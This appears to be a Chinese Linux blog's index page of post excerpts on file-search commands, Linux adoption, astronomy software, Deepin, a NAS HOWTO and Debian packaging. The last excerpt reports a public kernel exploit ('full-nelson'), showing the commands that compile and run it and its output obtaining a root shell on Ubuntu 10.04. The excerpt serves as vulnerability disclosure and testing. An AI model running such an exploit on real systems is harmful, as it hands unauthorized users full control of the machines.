10月 122011
 

阿舍在用指令操作 Ubuntu 的時候,經常會需要知道檔案的路徑,所以,也就常常會用到搜尋檔案的指令,阿舍比較常用的是 whereis 和 find,其實,還有 locate 和 which 二個指令可用,這四個指令都有不同的功能,阿舍一直時間去搞清楚,今天花了點時間,就把它整理如下了。

find
這個算是功能最多的指令,可以用依檔名、擁有者、群組和權限…等等一堆來搜尋檔案,不過,find 指令是一定要指定搜尋的路徑,否則就只有搜尋目前所在的資料夾,例如,阿舍在家目錄用 find hosts 的指令來搜尋 hosts 檔的話,就一定找不到東西,如果改用 find /etc hosts 的話,就會出現一堆檔案名稱裡有 hosts 這個四個字的所有檔案出來,如果再改成 sudo find /etc -name hosts 就會找出更接近我們要找的檔案列表出來的。

locate
這個指令和其他三個指令不同的地方是,locate 指令並不是宜的去搜尋檔案,而是去搜尋由 updatedb 指令所建立和更新的資料庫並讀入記憶體中,所以,locate 指令的搜尋速度遠比其他的指令來的快, Continue reading »

6月 182011
 

长期以来,Linux在服务器领域扮演领军角色,这在很大程度上得益于它具有稳定性、安全性、总体拥有成本较低等优点。不过许多人也许没有认识到,Linux在生活的其他方面其实也变得非常地普遍。

不仅像Ubuntu这些发行版在帮助Linux在桌面领域取得了巨大的进步,这款开源操作系统如今还在背后悄悄地为我们许多人习以为常的无数创新提供支持。

如今还能在哪里看到Linux的身影?下面仅仅是Linux让生活更美好的众多方面的几个典例。

1、Android
当然,首当其冲的是Android这款谷歌的基于Linux的移动操作系统。Android一心就想把苹果大获成功的iPhone挤入到小众设备领域,同时还在与大受欢迎的iPad作一番较量。Android把Linux交到了全球无数移动设备消费者的手里,大概是Linux迄今为止在主流界取得的最大成功。

之外还有Chrome操作系​​统,据说这款操作系统会在华硕今年夏天推出的一款低成本笔记本电脑中扮演重要角色,当然它还出现在其他设备中。 Continue reading »

6月 072011
 

天文学是一门研究恒星、小行星、彗星、卫星、流星雨等天体的科学。它十分适合业余爱好者,没有年龄限制,没有贫贱之分。在这门学科中,业余爱好者常常能发现专业人士未注意到的奇妙现象,他们能帮助观测恒星和跟踪小行星。只凭借肉眼我们也能去观测夜空中的无数星星。Linux平台上有大量天文学软件,能为天文学业余爱好者提供有用的工具,帮助绘制夜空地图,制定详细观测计划,控制望远镜和星图等。Linuxlinks编辑了八款优秀的Linux天文学软件,包括:虚拟天文馆Stellarium,月球观测软件Virtual Moon Atlas,太空模拟软件Celestia,美国自然历史博物馆和NASA开发的数字宇宙Digital Universe AtlasSkychar,等等。

6月 012011
 

袁萌 2011-05-30 19:47:37

5月30日,上午10:00正,在朋友的安排下,我与曹参在北京的某咖啡店见了面。

看上去,曹参精神很好,不像是一个打了败仗的人(永中破产)。一见面,曹参就问我,你是那一年生人?我说:39年。曹参对我说:你比我大5岁。随后,我把Deepin Linux 11.05光盘纪念版拿出来给他。他仔细翻阅许久,当他在Deepin 11.05纪念版的用户使用手册第51页上,看见“永中集成Office个人版“字样时,脸上露出了会心的微笑。他对我说,这就对了,是“集成Office”。 Continue reading »

5月 312011
 

袁萌 2011-05-30 01:44:11

5月29日下午,赴武汉参加深度(Deepin)开发者与用户会议归来有感。

在世界Linux发行版排行榜上,俄罗斯的ALT发行版位于85名,中国的Deepin发行版位于87名,两者均是国际上比较知名的GNU/Linux发行版。世界Linux排行榜官方网站是这样定义Deepin发行版的:“Linux Deepin原名Hiweed GNU/Linux,是一个基于Ubuntu的中文Linux发行版,口号是“免除新手痛苦、节约老手时间”,目标是用起来顺畅、舒服。从10.12版本开始,采用了GNOME桌面系统、Yong输入法、永中Office、永中宋体、文泉驿微米黑。“

对于Hiweed为何改名Deepin,我很好奇。5月29日早晨7点多钟,通过会务组联系到Hiweed的作者冷罡华,叫到我的住处谈话。我直接了当地问冷罡华:Hiweed是什么意思?他对我说:在家住在青岛,Hi有海尔、海信的意思,而weed(青草)与我原来的心上人有关。我又追问他:那么,你为什么后来又把Hiweed改名Deepin了呢?他对我说:“有人告诉我,在英语里面,weed(雪茄烟)含有毒品的意思。“Hi,weed!”的意思不好听。”于是,Hiweed改名的动机(或缘由),我就明白了。

这次会议组织者刘文欢(Deepin奠基人),在2000年就与冷罡华认识,两人原想就合作一把,共同做的事情。大约在2009年期间,刘文欢去青岛找冷罡华商谈合作事宜。……结果,就发生了那件使人深感惊异的Deepin突然变身为Hiweed(即钻入Hiweed体内,成为Hiweed的替身)的事情。 Continue reading »

3月 232011
 

本文内容详细,建立家用nas服务器,值得一读,核对了一下原文件,补充了几个遗漏的内容。
仅做了翻译,没有做安装的验证,尽量做到没有技术错误,希望有感兴趣的fans能做个测试,分享一下经验。

HOWTO : Home made NAS server with Ubuntu 8.04.1
[HOWTO] 用Ubuntu 8.04.1搭建NAS服务器

There are many NAS for home users in the market, such as Synology, Qnap, LinkStation and etc. They are not in good performance and not cheap in price. However, they are good in less power consumption. It is because I owned not only one brand of such products at home now.
现在市场上有很多家用NAS产品,例如:Synology, Qnap, LinkStation等。它们性能并不好,而且价格不便宜。不过,在低能耗方面做得较好,因此,我家里有不止1个品牌的这类产品。

Recently, I bought a VIA PC-1 PC2500E motherboard, which has VIA C7-D 1.5GHz CPU on board. It is cheap in price and use less power too. The maximum amount of RAM is 2 GB.
最近,我买了1块VIA PC-1 PC2500E主板,板上带有VIA C7-D 1.5GHz CPU。价格便宜,也节能。最大可装2G内存。

Testing it with Ubuntu 8.04.1 Desktop version for a while, I am very satisfied with the performance of the CPU, although it is not quite fast indeed. I decided to build a home made NAS server with remote BitTorrent function.
用Ubuntu 8.04.1 Desktop测试一段时间,虽然不是足够快,我还是对CPU的性能相当满意。我决定在家组装NAS服务器,并带有远程BT功能。

Hardware
Motherboard – VIA PC-1 PC2500E with VIA C7-D 1.5GHz CPU
RAM – 2 X 1GB DDR2 667MHz (maximum)
Hard drive – 300GB Seagate SATA (The motherboard treats it as ATA drive)
Router – Planet WRT-401E (wired) (optional)

Software
Operating system – Ubuntu 8.04.1 Server Edition
File server – Samba
FTP server – vsFTPd
Remote access – OpenSSH
Web Server – Apache, PHP and MySQL
Remote BitTorrent – TorrentFlux (front-end) and BitTornado (back-end)
Security software – Fail2Ban Continue reading »

12月 172010
 

作者: 秋风的家

一、前言

所谓的软件安装,不管是那个系统,都是通过一定的方法把文件从源复制到目的,然后做一些配置工作,使其能正常的运行,卸载。

对于Linux来说,其目录的高度组织化,以及各软件依赖关系的复杂性,使得软件包数据库显得非常重要。

简单来说,软件包数据库最主要记录两点:

   1. 软件包包含的文件列表
   2. 软件的依赖关系

对与debian的软件包数据库来说,要做的事情更多:

   1. 软件的安装状态
   2. 软件的配置状态
   3. 软件的post-uninstall

有很多原因会导致软件安装失败,但大多数都集中在:

   1. 安装时的post-install
   2. 卸载时的post-uninstall

虽然不会对系统造成问题,但是每次安装软件,或者升级软件的时候,都会提示有软件包需要配置,其实的确很烦人。 Continue reading »

12月 102010
 

系统安全高手Dan Rosenberg 发布了一段 C 程序, 这段200多行的程序利用了 Linux Econet 协议的3个安全漏洞,可以导致本地帐号对系统进行拒绝服务或特权提升,也就是说一个普通用户可以通过运行这段程序后轻松获得 root shell,以下在 update 过的 Ubuntu 10.04 Server LTS 上测试通过:

$ sudo apt-get update
$ sudo apt-get upgrade

$ uname -r
2.6.32-21-server

$ gcc full-nelson.c -o full-nelson
$ ./full-nelson[*] Resolving kernel addresses…
[+] Resolved econet_ioctl to 0xffffffffa0131510
[+] Resolved econet_ops to 0xffffffffa0131600
[+] Resolved commit_creds to 0xffffffff8108b820
[+] Resolved prepare_kernel_cred to 0xffffffff8108bc00
[*] Calculating target…
[*] Failed to set Econet address.
[*] Triggering payload…
[*] Got root!#

由于 RHEL/CentOS 默认不支持 Econet 协议,所以测试没有通过:
# yum update

$ uname -r
2.6.18-194.26.1.el5

$ gcc full-nelson.c -o full-nelson
$ ./full-nelson
[*] Failed to open file descriptors.

如果在企业环境用 Ubuntu 的话可能会比较杯具了 Continue reading »